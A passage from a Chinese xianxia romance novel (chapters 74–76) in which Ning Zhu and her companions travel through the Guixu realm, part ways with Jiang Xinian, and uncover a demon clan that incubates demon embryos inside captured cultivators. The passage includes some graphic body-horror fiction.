他一路寻找姜汐年的痕迹,但他很倒霉,跌落深林的时候本命剑和乾坤袋都弄丢了,只能凭着一双腿往外走,所以才把自己搞得那么狼狈。 不过他也很幸运,遇到的第一波人便是他们几个,甚至他要找的姜汐年就在这里。 莫云空梳洗完毕后,又变成了那个温柔的蓬莱岛公子。 此时天色已经黯淡下去,宁竹抛出了月萤灯,又生了一堆篝火,打算给大家做点吃的。 他们几个是辟谷了,宁竹可没有。 更何况在这样的情形下,宁竹觉得大家会想吃点儿热乎乎的东西。 也不知是宁竹喂的安神丹效果太好,还是姜汐年本来就很累了,她一直在昏睡。 宁竹已经将人转移到了芥子屋,莫云空便守在旁边,一言不发。 很快篝火上奶白色的汤咕噜咕噜涨开了,香气四溢。 宁竹 盛了几碗汤,又从乾坤袋里取出几枚豪华版手抓饼:“吃饭。” 江似忍不住说:“你到底在乾坤袋里放了多少吃食?” 宁竹在心底偷偷骂他,还不都是拜你所赐。 这些吃食都是宁竹为自己将来的逃亡生活准备的,反正乾坤袋时间空间都是静止的,她一有空就往里面囤点儿吃的喝的,不知不觉就攒了那么多了。 但宁竹脸上却带着笑说:“不想吃这个吗?” “还有别的,有面,也有米饭……” 江似总觉得宁竹的笑容有点凉丝丝的意味。 他下意识接过手抓饼:“就吃这个。” 江似毕竟已经“死”了,有外人在,宁竹怕多生事端,让他带着面具。 宁竹对着他的面具脸,笑着说:“不够还有。” 江似咬了一口手抓饼,狐疑地盯着她看。 宁竹埋头喝汤,掩饰住自己复杂的表情。 她现在跟人.贩子有什么区别?等时机一成熟,就要磨刀霍霍,把人家腰子……不,昆仑骨嘎了。 谢寒卿淡色的眼瞳转向宁竹。 片刻后,不着痕迹挪开。 宁宁从音希山出来之后,对江似的态度变得很奇怪。 他垂眸,饮下一口汤。 关于江似……宁宁是发现了什么么? 第74章 莫云空没胃口用饭, 宁竹把东西放在桌案上,用灵力温着,轻轻关上了房门。 莫云空眼眶很红,一看就哭过。 宁竹想到幻境中两人如胶似漆的模样, 心底长叹一声, 不知道说什么好。 归墟的天空与外面并不同。 星河五彩斑斓, 纵横交织, 各式各样的小生物飘浮在半空中, 有的如同毛茸茸的蒲公英, 有的像水母一样, 伞裙一收一放。 宁竹为了避免江似和谢寒卿再次一左一右地挤在自己边上,故意挑了两块岩石形成的夹缝处, 披上了毯子。 没想到宁竹收拾好之后,看见两人一左一右坐到了岩石前, 就像两尊门神。 宁竹:…… 累了。 她懒得理会这两个人, 眼一闭,舒舒服服躺了下去。 谢寒卿和江似背靠在岩石上,各自朝向一边。 少女的呼吸很快变得均匀绵长。 安静片刻,谢寒卿忽然开口:“离开吧, 我们一路往归墟的出口走,只会遇到越来越多的修士。” 江似倏然睁开眼,他语气里带着嘲讽:“怎么?怕别人发现堂堂天玑山首徒和一个魔修混在一起?” 谢寒卿沉默片刻:“江似,在拜入天玑山之前,你在哪里生活。” 江似如同被踩了尾巴的猫, 语气尖利:“你我之间,这样的谈话内容不合适吧?” 谢寒卿垂下了眼睫。 隔了很久,江似的声音响起:“谢寒卿, 你为什么不杀我。” 月色很淡,两人的影子也很模糊。 谢寒卿淡声说:“我们杀不死彼此。” “江似,你不觉得奇怪吗?” 江似勾唇:“怎么?谢师兄要同我这个怪物惺惺相惜?” 谢寒卿音色清寒:“在弄清楚一切前,我不会对你动手。” 江似短促地笑了一声,他声音阴冷:“很不巧,我可不一定。” 两人不再说话。 夜色渐深。 原本睡熟的宁竹迷迷糊糊醒了。 风声很大,撞击在岩石之上,有种惊心动魄的感觉。 江似和谢寒卿分别靠在两边的岩石上,悄无声息。 宁竹试探着扯了扯谢寒卿的袖子,小仙君很快回过头来。 太好了,他没睡着,这不正是谈话的好时机! 宁竹往江似身上拍了一张昏迷符,小声对谢寒卿说:“谢师兄,你跟我来一下。” 片刻后,她拉着谢寒卿偷偷摸摸走到了一块岩石后。 宁竹正要开口说话,谢寒卿忽然按住她的手:“宁宁,等等。” 他抬起指尖,点了点她的眉心。 另一边,江似倏然抬眸。 附着在拘银链上的神识怎么听不到他们的声音了? 宁竹识海里响起了一道声音:“宁宁。” 宁竹吓得险些跳起来。 谢寒卿引导她:“试着把你想说的话在心里说一遍。” 他话音才落,宁竹的声音便噼里啪啦响了起来。 “谢师兄,你又进我识海里来了吗?” “我现在说话你听得到吗?” “这样江似是不是就听不到我们说话了?” “这种感觉好神奇啊……为什么我们之前不能这样对话呢?” 谢寒卿微微一笑。 识海对话,一般渡劫期修士才做得到,但宁竹体内有他的元神,他是可以通过这种方法和宁竹对话的。 只是之前,谢寒卿无法解释为什么可以这样。 现在刚好可以借幻境来掩饰。 谢寒卿清冷的声音响起:“从幻境出来之后,我发现我和你之间多了一种特殊的联系,所以才能这么对话。” 宁竹一惊,那岂不是江似也可以这样? 但是谢寒卿好像察觉不到她的想法,宁竹便问出来了:“江似呢?江似也可以吗?” “你若是不愿意,他没办法同你对话。” “宁宁,你放心,只是对话,我依然看不到你的记忆和想法。” 宁竹松了一口气。 宁竹正了脸色,试探道:“谢师兄,你知不知道……?” 昆仑骨。 宁竹憋了一口气,再次尝试说出这三个字。 ……依然没办法说出口。 宁竹无语。 又来了,又和仙门大比时的一模一样! 谢寒卿的声音响起:“宁宁,知道什么?” 宁竹思索下,又说:“其实……” 江似和魔尊是一个人。 还是说不出口。 宁竹放弃了。 神秘力量限制,她是没办法和谢寒卿透露关键剧情的。 她有点蔫,那这样的话,她要怎么跟谢寒卿解释这一切? 难道她要直接把江似的那块昆仑骨递给谢寒卿,示意他将这块昆仑骨融掉? 谢寒卿道:“宁宁,只需要告诉我,我要怎么配合你就好。” 宁竹愣了下。 ……谢寒卿是发现了什么吗? 也是,她在仙门大比时表现那么奇怪,谢寒卿那么聪明,怎么可能察觉不到不对劲。 谢寒卿又说:“无论需要我做什么,宁宁直接告诉我就好。” 心脏像被人轻轻戳了一下。 宁竹点点头:“好。” “谢师兄你放心,我要做的是一件对大家都有好处的事情,虽然可能会有点奇怪。” “但是我必须这么做。” 谢寒卿沉默了一会儿,回答她:“好。” 一次稀里糊涂的战略性对话就这么完成了。 宁竹怕江似中途醒过来见他们两人不见,必然又要开始闹,于是对谢寒卿说:“我先回去了。” 谢寒卿冲她点了下头。 宁竹提着裙摆先跑了回去。 夜色幽深,小仙君的白衣亦被染上一层暗色。 色如琉璃的眼瞳盯着宁竹,一动不动,如同暗处窥伺的妖兽。 ……要他配合做什么? 寻找回家的办法么? 打草必惊蛇。 最好的办法,是按兵不动,直到一切浮出水面。 谢寒卿垂眸,沿着宁竹留下的脚印缓缓往回走。 宁竹压低脚步声,绕到岩石背后。 忽然有人扣住她的手腕。 对方的手很凉,如同一条游蛇牢牢贴在她皮肤上。 宁竹忍不住轻轻颤了下:“江似……你醒了?” 少年黑沉的眼盯着她,手握得很紧:“半夜和谢寒卿出去做什么?” 宁竹蹙眉:“你轻一点,手好痛。” 江似猛然松开手,宁竹瞪他:“我哪里知道谢师兄也醒了?” “睡前喝了太多水,我去方便了。” 江似手虚虚抓着她。 骗人。 江似的眸光在她脸上反反复复描摹。 明明是跟他一起出去了,明明和他说了什么,明明屏蔽了自己的神识。 江似声音有点哑:“宁竹,你知不知道,你根本不会撒谎。” 一只手掌覆在她眼睫上。 他手指很凉,掌心却潮热。 江似低头,擦着她的耳尖说:“撒谎的时候,睫毛不要颤。” 少年贴得太近,一呼一吸间,都有细小的气流擦过她的皮肤。 宁竹不由自主起了一身鸡皮疙瘩。 宁竹不舒服极了,正要伸手推他,又生生忍住。 ……她还要当人贩子呢,总不能真的把他惹毛了。 宁竹认命地抬手,撸了一把他的头发:“好了好了,我就是过去跟谢师兄商量点事。” 江似背脊一僵,被她揉过的地方酥酥麻麻,似乎有细小的电流一路往下。 江似竭力忍住将人叩入怀中,融入骨血的冲动,努力让 自己的声音听起来没那么兴奋:“……商量什么事?” “姜师姐的事。” 宁竹说:“无咎洞府有一处灵泉,可温养灵脉,滋养伤口,我是问谢师兄愿不愿意把姜师姐接过去。” 她也的确想跟谢寒卿说这件事。 “她不会去的。”谢寒卿的声音忽然响起。 宁竹下意识推开江似,如同做错了事被老师抓住的小学生一样挺直背脊站好:“谢师兄。” 谢寒卿走了过来:“汐年已经醒了。” 宁竹正要开口,谢寒卿说:“莫师弟在跟她说话,我们先在这里等等。” 谢寒卿的目光落在宁竹微微有些凌乱的衣袖上,以及,被江似捏红的手腕上。 宁竹扯了扯袖子,尬笑:“既然醒了,大家要不要吃点东西?” 莫云空过来的时候,三人正坐在地上喝着米酿,面前还摆着一碟油炸花生米。 莫云空愣了下。 宁竹朝他招手:“莫师兄,喝不喝米酿?” 莫云空对上少女的盈盈笑眼,唇边慢慢露出一个微笑:“好。” ……这位宁师妹,当真是个招人喜欢的性子。 夜里风大,有点儿冷,四个人围着篝火,喝一杯甜丝丝的温热米酿,身子都暖和起来。 谁也没说话,一壶米酿很快到底。 莫云空站起身,朝着三人郑重行礼:“多谢三位救了汐年。” “方才我和汐年已经商量好了,我会带她回蓬莱岛,蓬莱岛有一处灵池,对她的伤大有裨益。” 宁竹很惊讶,她下意识看向谢寒卿。 ……姜师姐不是一直喜欢谢寒卿吗?现在怎么会愿意跟别人离开? 不料谢寒卿颔首:“汐年伤在面容,心情郁结,还需细细调养,蓬莱岛气候温和,风景秀丽,又有莫师弟相伴,对她的伤大有裨益。” 莫云空道:“谢师兄放心,我会好好照顾她的。” 他沉默片刻,苦涩道:“……若不是汐年为了寻找我只身往深林中闯,也不会误入蝎尾毒蜂的巢穴,伤成这样。” 宁竹又是一惊……姜师姐的伤,竟是这么来的? 莫云空正了脸色:“谢师兄,汐年是你表妹,有些话我便先同你说了。” “我与汐年……在幻境时便已心意相通,我会好好陪在她身边,待她愿意,我会迎娶她为道侣。” 宁竹惊得眼睛都瞪大了。 ……不是,姜汐年苦恋谢寒卿那么多年,几天就被这位莫师兄挖了墙角? 谢寒卿似乎一点儿也不意外,他用一副兄长的口吻说:“汐年就托付给莫师弟了。” 莫云空郑重点头,又说:“我有个不情之请。” 他有点尴尬:“汐年……伤在脸,并不想太多人知晓此事,也不愿与旁人同行,所以我会带着她走另一条路离开归墟。” “另外汐年伤到脸的事情,诸位能否帮她保密?” 宁竹:“那是自然,叫姜师姐放心吧。” 谢寒卿也点了点头。 宁竹瞪江似,江似慢吞吞说:“知道了。” 莫云空冲众人道谢,又对宁竹说:“汐年她还有些话想对宁师妹说。” 片刻后,宁竹跟着他来到了芥子屋外。 姜汐年瓮声瓮气的声音响起:“宁竹,你的芥子屋借我用用。” 宁竹自然是答应,就算她不说,她也打算把芥子屋先借给她的。 离开归墟至少还要走三四天路,她得有个好好休息的地方。 姜汐年又说:“还有,那条可以在地上走的船也借我吧。” ……好吧,她是病人,借她就借她。 宁竹:“好。” 姜汐年:“还有……” 宁竹警惕起来,莫师兄的乾坤袋弄丢了,她不会要把自己的乾坤袋也借走吧? 姜汐年声音有点别扭:“宁竹,谢谢你。” “……之前的事,对不起。” 宁竹愣了下,眼角一点点弯起来。 “姜师姐,要快快好起来,之后我们来蓬莱岛找你玩啊!” 姜汐年似乎在笑:“……嗯。” *** 宁竹也没想到,归墟地形会那么多变。 上一秒还是好端端的草地,下一秒宁竹一脚陷入了沼泽地,不仅如此,还有许多滑腻的东西缠上她的脚。 她惊恐大喊:“谢师兄!江似!救命啊!!” 两人齐齐拉住她的胳膊。 然而这沼泽地下陷的速度比想象中快得太多,宁竹顷刻便被吞没了半个身子。 她慌得什么招式都忘了,只能屏住呼吸,尽量停止挣扎。 谢寒卿急声道:“宁师妹闭眼!” 就在她闭上眼睛那一刻,猩臭的泥水忽然扑面而来,闷闷一声响,束缚住宁竹的东西一空。 有人卷着她的腰往旁边一躲! 哗啦。 整片沼泽都被炸了。 天上下起一场泥巴雨。 方才缠住宁竹的原来是些长得奇丑无比的鱼妖,此时也被炸了个稀巴烂,腥臭的血水流了一地。 江似脸色阴沉抹掉脸上的血水:“把船借给姜汐年干什么。” 三个人都像是落汤鸡一般,浑身上下沾满了泥水,好不狼狈。 宁竹抹了把脸,干笑:“……归墟出口应该快到了?” 话音落,不远处传来一道惊喜的声音:“宁师妹?寒卿?” 宁竹忙对江似说:“江似!面具!” 江似才刚刚把面具带好,一架马车便停在了他们面前。 姜思无站在车辕处,哈哈大笑起来:“你们几个什么情况?怎么把自己搞得那么狼狈?” 半个时辰后,几人收拾得干干净净坐在宽敞的马车上,桌案上烹着一壶热茶。 这马车从外观看普普通通,里面却另有乾坤,空间延展了许多,起居坐卧处应有尽有,倒像是把芥子屋和这马车结合在了一起。 当然,这马车也不是寻常马车,只是仿了个马车的形状,是用灵力来操控的,并不是真的用马来拉的。 宁竹对此赞不绝口,她怎么就没想到把芥子屋和移动法器结合在一起呢,这样可以一边赶路一边休息。 看来可以改良一下她的芥子屋了。 于是她问:“姜师兄,你这芥子马车造一辆大概需要多少灵石呀?” 姜思无淡然道:“这一辆花了一千万灵石。” 多少?? 宁竹立刻断绝了自己的想法,她还是继续用她的小船吧。 姜思无又开口道:“汐年那里也有一辆,估计是被她给了莫云空那小子,弄丢了。” 宁竹沉默了。 她能不能问一问莫云空的乾坤袋丢哪儿了,她立刻回去捡。 姜思无将宁竹的表情变化受之于眼底,心里默默盘算。 看来宁师妹很喜欢这芥子马车,无妨,他回去送她一辆便是。 若非宁师妹出手相救,以那死丫头的脾气……他眼神有几分阴翳,蝎尾毒蜂乃是剧毒之物,她若是真要自生自灭,保不住的何止一张脸。 姜思无旋即又释然,也算因祸得福吧。 于是姜思无看宁竹的表情越发怜爱:“我们虽在幻境中耽搁了几天,但距离归墟关闭还有一段时间,宁师妹不打算继续游历一二吗?” 宁竹的情绪倏然低落下去。 她不想被几人看出端倪,道:“归墟太危险了,我已经找到自己想要的东西了,所以打算尽 快离开。” 谢寒卿和江似的目光双双落到她脸上。 姜思无点点头。 每个人到归墟里都有自己想求的东西,有人运气好,一进来就能遇见,也不足为奇。 姜思无想起躺在乾坤袋里的那两株长生花,心情变得很好。 有了长生花……他和汐年的性命,也算没有后顾之忧了。 姜思无眉眼舒展:“我测算过距离,再走一天一夜,就能出归墟了。” 其实他又何尝不想快点离开这地方。 归墟危险重重,刚进来就遇见一个幻境,若不是谢寒卿出手,恐怕他被困死在其中都不知道。 宁竹想的还是简单了,边休息边赶路至少在归墟这样危险重重的地方并不现实。 夜色暗下来,他们的马车往前行进过程中险些掉到悬崖下。 好在谢寒卿及时发现了网罗妖草的痕迹,及时叫停。 网罗妖草能够悬空生长,常常在悬崖边制造出一条看似长满植被的路。 但一旦踩下去,网罗妖草便根本承受不住什么重量,便会摔得粉身碎骨。 姜思无也是惊出一声冷汗。 这悬崖深足百丈,根本看不到下面有些什么,万一误入了高阶妖兽的巢穴就麻烦了。 他们一行人中足有两个化神期修士,实力并不弱,但架不住妖兽太多。 出于谨慎,众人找了一个地势平缓的地方,将马车停下,打算歇一晚,待到天亮再赶路。 芥子马车里只有一张床榻,姜思无率先跳下马车:“宁师妹,你在里面好好休息,我们几个在外面应付一晚。” 谢寒卿随之下了马车,姜思无看向江似:“这位……张道友?你也一起下来吧。” 第75章 宁竹可不敢明晃晃地告诉姜思无眼前之人就是江似, 所以给他编了个名字,张以。 宁竹用眼神暗示江似。 江似刚想蹙眉,又在她的目光中败下阵来,慢吞吞跟着下了马车。 江似找了个靠近马车的树干, 靠着树干盘腿坐下。 姜思无似乎有话要对谢寒卿说, 拉着谢寒卿往外走。 谢寒卿却回头看了一眼马车。 两人刚刚走远, 江似便睁开了眼。 他哂笑一声, 不就是布了个结界么? 江似的元神旁若无人进入了结界。 宁竹躺在床榻上, 并没有入睡, 而是翻来覆去, 似乎心事重重。 江似飘在上空中,凝望她半晌。 元神状态下, 她是看不到自己的,江似的目光肆无忌惮在她脸上滑过。 宁竹又重重叹了一口气。 江似飘下去, 躺在宁竹身边, 埋头抱住了她。 宁竹转了个身子,江似和她四目相对。 可惜宁竹看不到自己。 江似抬起手,轻轻抚上她紧蹙的眉心。 谢寒卿和姜思无走到一处无人之地,姜思无立刻问:“寒卿, 幻境之中,你注意到姑姑身边那个男人了没?” 谢寒卿道:“那人便是谢平阳。” 姜思无脸色一变:“谢平阳?” 他沉吟片刻:“幻境坍塌后,你究竟去了哪里?” “音希山。”谢寒卿并没有瞒他。 姜思无一愣:“……你竟真的找到音希山了?” 他本以为这是一个虚无缥缈的传说,没想到竟是真的存在的? 姜思无胸膛起伏了下:“你问了神鸟什么问题?” 谢寒卿垂了下眼。 来之前,他曾有许多问题想问神鸟。 譬如他的古怪, 譬如为什么他会没有道心,又譬如他父母的下落…… 但最后,他在意的, 只有宁竹一个。 姜思无见他不想说话,识趣的不再询问。 他换了个问题:“你之前说……姑姑可能还有一个孩子,可有线索?” 谢寒卿沉默片刻,抬起手。 掌心出现一只小小的透明圆球,其中封存着一个阵法,阵法大部分都被流转的金光覆盖。 这几日他天天和江似在一起,要取到他的血再容易不过。 早就有所猜测,看到验亲阵法时,谢寒卿并不惊讶。 姜思无却是瞳孔一缩,也就是说寒卿的确还有一个弟弟! 不料谢寒卿开口:“不是姑姑的孩子。” “是谢平阳的。” 姜思无有些失望,但他还是问:“人呢?” 谢寒卿收回阵法,淡色的瞳微垂:“不到相认的时候。” 姜思无虽然有些无奈,但也知道谢寒卿的性子。 他做事,自然不需要旁人置喙。 安静了片刻,谢寒卿忽然开口:“表兄,关于天知者,你知道多少?” 姜思无蹙眉。 天知者? “只在古籍中看到过,天知者,据说可以预知未来,但因窥伺天道不可恕,所以天知者多早夭……寒卿,你问这个做什么?” “表兄可知,姜家祖上便出过一个天知者。” 姜思无愣了下。 谢寒卿淡声说:“约摸千年前,时任家主的小儿子姜淮,便是一个天知者。” “他预言了时任魔尊屠黎的出现。” “但姜淮只活到七岁,便忽然生了一场急病,早早夭折。” 姜思无的眉头一点点蹙起。 谢寒卿从对宁竹的身份有所猜测开始,便一直在寻找天知者有关的信息。 他找到的离现在最近的天知者,便是这个姜家人。 谢寒卿继续说:“姜淮预言魔尊屠黎出现之时,只有五岁,黄口小儿所说之话,没有人当真。” “两年后,姜淮去世,魔尊屠黎横空出现,给修真界造成了一场巨大的震荡。” “姜家人才后知后觉,姜淮乃是个天知者。” “只是此后数百年间,姜家都没再出现过天知者,这段历史便被一点点掩埋。” 姜思无开口:“寒卿,你想说什么?” 谢寒卿眼瞳微转:“表兄可知,天知者的后代,有一定几率也会成为天知者。” “你我其实都与这个天知者有血缘关系。” “但若论血脉相近,自然是不如姜淮的直系族人。” “据我了解,姜淮只有一个姐姐,名为姜楠,后来继任姜家家主的乃是其他支的子弟,这些子弟与姜淮的血脉并不算近。” “姜楠资质平平,远嫁到西陵,当时魔域实力空前强大,天下动荡,就是世家人也无力自保,更何况保护一个远嫁女,姜家很快便失去了姜楠的消息。” “表兄,我需要你帮我找姜楠后人的下落。” 进入归墟前,他只查到姜楠的存在,再往后却没了头绪。 姜思无乃是姜家人,追查一个远嫁的族人,会比他容易些。 姜思无算是听懂了,寒卿这是把主意打到天知者身上了。 “好,出归墟后我立刻就着手帮你追查。” “只是寒卿,天知者本就少之又少,这个姜楠的后人,也不一定是天知者。” 更何况修士的后代不一定是修士,如果姜楠的后代中有人是凡人,那就麻烦了,凡人与凡人的后代,出现修士的几率更小。 按照凡人不足百年的寿命来算,可能会有数十代人,追查起来并不容易。 谢寒卿自然知道姜思无的顾虑。 只是……他必须这么做。 谢寒卿没告诉姜思无的是,天知者的能力有强弱之分,姜淮能预测到魔尊出现这样的大事,能力定然不弱。 他的后代,即使没有人成为天知者,但血脉之中也很可能会蛰伏着这个能力。 而他刚好会一项古术。 溯宗之术。 只要找到姜楠的后人,他可以凭借他们与姜淮的血脉关系,让他们短暂获得先祖的能力。 预知大事或许很难,但……预测某一个人的未来,却有很大的几率实现。 如此,他便能看到宁竹到底要做什么,到底……要回哪里去。 姜思无注意到谢寒卿眸中的郑重之色,叹了口气,拍拍他的肩:“你放心,我定会帮你找到姜楠的后人。” 毕竟寒卿鲜少开口求人,这一次,一定是有什么必须的理由。 谢寒卿颔首:“多谢表兄。” 另一边,宁竹不知什么时候下了马车。 她心里有事,辗转反侧依然无法入睡,索性打算下来走走。 江似靠在树上睡得正熟,宁竹轻手轻脚没打扰他。 当然宁竹也没敢走远,她穿过一旁的小树林,坐在矮崖边的一块岩石上。 夜里的风带着凉意,宁竹吹着风,细细捋着自己接下来要做的事情。 上学的时候,宁竹就很喜欢在晚自习的课间站在走廊边吹风。 心静了,很多事情便能想得更明白。 宁竹不知道,江似就在她旁边静静陪着她,看着她时而蹙眉,时而叹气,时而点头。 江似屈起一条腿,手撑着下巴,偏头看着宁竹。 ……真想钻进她的脑子里看看,她到底在想些什么。 好不容易把接下来要做的事情都捋顺了,宁竹起身,打算回去睡觉。 就在这时,忽有什么东西缠住宁竹腰侧的乾坤袋。 宁竹怕的就是乾坤袋不小心遗落,特地用了蛟丝带将乾坤袋牢牢捆在自己腰上,还下了还几个禁制在上面。 蛟丝带水火不侵,刀枪不入,如果不是宁竹主动摘下,这枚乾坤袋是万万不可能被人夺走的。 对方第一下没扯动,还不死心,竟然卷上了宁竹的腰,将人直直往矮崖下扯去! 宁竹懵了。 好在她反应极快,在跌下悬崖的那一瞬,便操纵着红丝攀上山崖上伸出的断枝,害怕树枝被掰断,她又手忙脚乱将 红丝缠在各种凸起的岩石上。 宁竹整个人往下滑落了一段,牢牢粘在了岩壁上,下面的人见扯不动她,又祭出更多蛛丝,试图将她扯下来。 原来是个蜘蛛精!! 蛛丝往宁竹身上越缠越紧,宁竹被勒得脸都红了,她腾出一只手,从乾坤袋里召出几件攻击法器,一股脑地往下面扔去! 矮崖下方站着一个生着六只眼的男人。 冷不丁被一只从天而降的法器砸到脑袋,他刚想破口大骂,那法器忽然爆炸,将男人炸成了无数碎片。 然而下一刻,碎片化作无数只小蜘蛛,沿着崖壁飞快地爬了上去。 宁竹刚感觉束缚住她的蛛丝松了一些,便听到身后一片沙沙的声音传来。 她低头一看,险些尖叫出声! 就在这时,忽有一道幽黑的火焰席卷而来。 江似从崖上跳下,搂住宁竹的腰,足尖微点,踏着被烧成灰烬的蜘蛛尸体,两人稳稳降落在地上。 周围一片焦糊的臭味,宁竹心有余悸,抬脚拨开蜘蛛的残躯,朝着自己丢下去的攻击法器抛了一个清洁诀,将法器收回乾坤袋。 宁竹嫌恶地将身上的蛛丝扒拉下来:“这人是妖族吧?” 江似没说话。 宁竹顺着他的目光看去,看见了一块残余的弟子腰牌。 上面赫然写着“白暮”两个字。 宁竹眼角一跳:“白暮师姐在这附近!” 她将那块残缺的腰牌捡起来,大感不妙。 腰牌上面沾染着已经干涸的血迹,白暮师姐定然在这里跟人交过手。 如果白暮遇到的是妖族,那就麻烦了! 归墟里没办法用传音符,宁竹从乾坤袋里掏出一只纸鸢,点了点纸鸢:“带谢师兄和姜师兄过来!” 纸鸢扑腾着翅膀,朝着崖上飞去。 宁竹又从乾坤袋里掏出一只滴溜溜转动的罗盘,将白暮的腰牌放在罗盘上。 罗盘光芒大作,很快指向了西北方。 宁竹一把抓起江似的手:“走!” 江似垂眸,目光落在两人交叠的手上。 ……相比魔修,妖族才是更稀少的存在。 魔域扩张以来,其实他也收留过一些妖族,但无一例外,这些妖族都妖力弱小,在修真界被修士随意打杀,因而不得不寻求魔域的庇护。 但是方才,他在这里感受到了一股强大的妖力。 江似预感得到,对面应该很棘手。 “宁……” 他的声音,四散在风中。 宁竹跑得很急,发带在面前飘飞成白色的影。 江似无声叹了一口气。 他忽然扯了下宁竹:“你这么跑,要跑到什么时候?” 宁竹回头看他:“啊?” 江似勾住她的腰,将人打横抱起来:“抱好。” 他化作黑雾,如同一阵风往前吹去。 谢寒卿和姜思无往马车的方向走,行至一半,他面色倏然大变。 他足尖一点,直直往前。 姜思无忙追着他:“寒卿!怎么了?” 经过马车时,宁竹和江似果然已经不见了。 谢寒卿感应了一下宁竹的位置,调转方向朝矮崖奔去。 他一言不发,姜思无只能跟在他身后急急忙忙追:“寒卿!等等我!” 姜思无注意到还停在那边的马车,忙将马车收回乾坤袋,追着谢寒卿离开。 雾气蒙蒙。 大片幽蓝色的花怒放,花蕊冒着丝丝缕缕的寒气。 蛇身人面的女子从花丛中窸窸窣窣划过,绕过一条由植物生长缠绕而成的长长拱廊。 仔细看去,才发现拱廊缠绕的植物上,爬满了各式各样的毒蚁蛇虫。 拱廊尽头,是一个隐蔽的洞穴。 冰冷的月光倾泄而下,幽幽映在洞口。 蛇女放轻了声音,停在门口,微微低头道:“王,蛛一死了。” 蛇女屏住呼吸,看着一只钩吻银蝎从自己的蛇尾边爬过。 过了许久,一道冰冷低哑的声音响起:“妖胚已经足够了,不要再去招惹那些修士,我已经说过很多遍了。” “归墟关闭,他们自然会离开。” 蛇女咬了咬唇:“可是王,杀死蛛一的那两个人在朝着我们靠近。” 那道声音有些森冷:“尽快解决,交代其他族人,从现在起,不许再接触那些修士。” 蛇女松了一口气,她头埋得更低了:“是。” 另一侧的洞穴,白晚在破口大骂:“猪头!放开她!” 浑身覆盖着棕色刚毛的高壮男人愤怒地一拳砸在旁边的岩石上,石壁都晃了晃。 “你叫谁猪头!” 白晚尖声道:“骂的就是你!” 男人面色变了又变,最后笑着说:“不用着急,一个一个来。” 他轻蔑地看了一眼臂弯中昏迷的白暮,“若不是族中近年繁衍困难,犯得着和一个人族配种?” 躲在暗处的宁竹面色阴沉,牙齿咬得咯咯作响。 他们一路追着罗盘来到此处,竟发现这洞穴中关押着不少修士,结合这猪妖的话,这些修士竟是被抓来给他们繁衍子嗣的! 只是此处好像是这些妖族的大本营,宁竹也不敢妄动,和江似分开先打探一二,打算等谢寒卿他们赶到了,再伺机救他们出来。 宁竹默默观察了一圈,正要离开,忽有冰凉之物缠上她的腰肢。 宁竹回头,对上一张漂亮得几乎可以称得上雌雄莫辨的脸。 那少年笑盈盈说:“呀,瞧我发现了什么?” “……一个小美人?” 另一边,一团黑雾凝结在半空中,俯瞰着下方幽深黑暗的洞穴。 江似能感觉到洞穴中有一股无比强大的力量,就是他也不敢轻易打扰。 约摸就是这些妖族的首领。 江似观察片刻,无声离开。 拱廊边,一个男人跪在地上:“……女的被我们抓住了,男的不知道去哪里了。” 蛇女蹙眉:“不是一起来的么?” 男人头埋得很低:“他们不知道怎么闯过了我们布置的陷阱,没惊动任何人,荧发现的时候,女的就躲在关押修士的洞穴外。” 他忙道:“那女人看上去和不少抓来的修士都认识,我猜他们是来救人的,既然如此,那个男人势必不会不管她。” “救人?”蛇女轻蔑一笑:“他们体内有妖胚,就是离开这里,又焉有活路?” 男人垂首:“蛇女圣明。” 蛇女淡声说:“那边有荧在,出不了什么乱子,我们得趁现在再抓一些修士来。” “归墟难得见到那么多修士,时机不可耽搁。” 男人欲言又止,蛇女的瞳孔倏然危险地竖起来。 男人背脊发凉,忙俯首道:“是。” 妖王这些年不管事,一切都是蛇女大人在掌控全局,该听谁的话,他还是明白的。 蛇女又道:“你尽快去办,我先去看看妖胚的情况。” “是。” 江似有一缕神识附着在拘银链上,他能感应到宁竹的情况,更何况有拘银链在,无人能伤到她。 江似也不着急,慢悠悠跟在蛇女身后,打算去看一看她所说的“妖胚”。 蛇女对江似的存在毫无所察。 她七拐八绕,来到一处隐蔽的地下洞穴。 洞穴入口有妖把守,见到蛇女,纷纷低头道:“蛇女大人。” 蛇女点头:“妖胚的情况怎么样了?” 男人跟在蛇女身后,引她进去:“成功植入妖胚七十一人,失败五人,另外已经有八枚妖胚繁衍成功了,还有两枚临产。” 他们走过一个漫长的甬道,洞穴倏然亮起来。 这是一个巨大的圆形洞穴,穴壁上竟密布着上百个小洞穴,洞穴中关押着不少人。 有男修,有女修,有修士,也有魔修。 他们无一例外都在昏睡,有人面色平静,看起来并无异常,也有人腹部鼓胀,如同临产妇人。 蛇女满意地点点头:“这几日会再送一些修士过来,抓紧时间把妖胚植入进去。” 男人点头:“蛇女大人放心……” 话音落,其中一个 洞穴忽然发出巨大声响。 男人欣喜道:“妖胚繁育成功了!” 洞穴中的是个中年男修。 他面上露出痛苦之色,脖颈高扬,青筋毕露,男人的腹部奇怪地鼓胀起来,像是有什么东西在里面蠕动,要往外攀爬而出。 他喉头忽然发出嗬嗬的响声,四肢痛苦地抽搐,束缚他的锁链哗啦作响。 哗。 鲜血飚溅,男人肚子中探出一只鸟爪。 江似眉梢微挑。 第76章 片刻后, 又有一只鲜血淋漓的翅膀从男人肚子里挤了出来。 喑哑的鸟鸣响起,男人被生生开膛破肚,很快抽搐着死去。 蛇女愉悦微笑:“是鸟类,把新生儿抱给鹂娘, 以后她就是这孩子的母亲了。” “是。” 蛇女沿着洞穴转了一圈, 看着那些正在“孕育”妖胚的人族, 唇边露出一个微笑。 这些年妖族越发难以繁衍, 许多妖胚在母体中就悄然死去, 根本诞生不下来。 再这样下去, 妖族恐怕会绝种。 直到她发现可以以这些修士作为温床, 孵化妖胚。 修士体内灵力充沛,妖胚可以得到足够的温养。 归墟是他们的地盘, 无人知晓这里也有妖族的存在。 每年进入归墟的修士死伤无数,她做的一直很小心, 外面那些人族根本不知道这些修士是被妖族掳走的。 她得在归墟关闭前, 再抓一些修士过来。 蛇女要离开的时候,有妖族送进来一个人。 江似的目光在他脸上转了一圈。 ……齐玉明? 蛇女扫了白暮一眼:“这个男人资质很不错,挑一个强大些的妖胚植入进去。” 男人走到墙角,点了点墙壁, 一扇暗门打开。 无数深浅各异,颜色不一的妖胚浸泡在单独的液体中。 男人取出一金色的妖胚:“辰龙族,妖力强大,让这个男人来繁衍正好。” 蛇女点头:“你看着办。” 她转身离开。 男人小心翼翼操纵着妖胚,将妖胚胎引到齐玉明唇边。 齐玉明张开嘴, 那枚妖胚滑入他喉中。 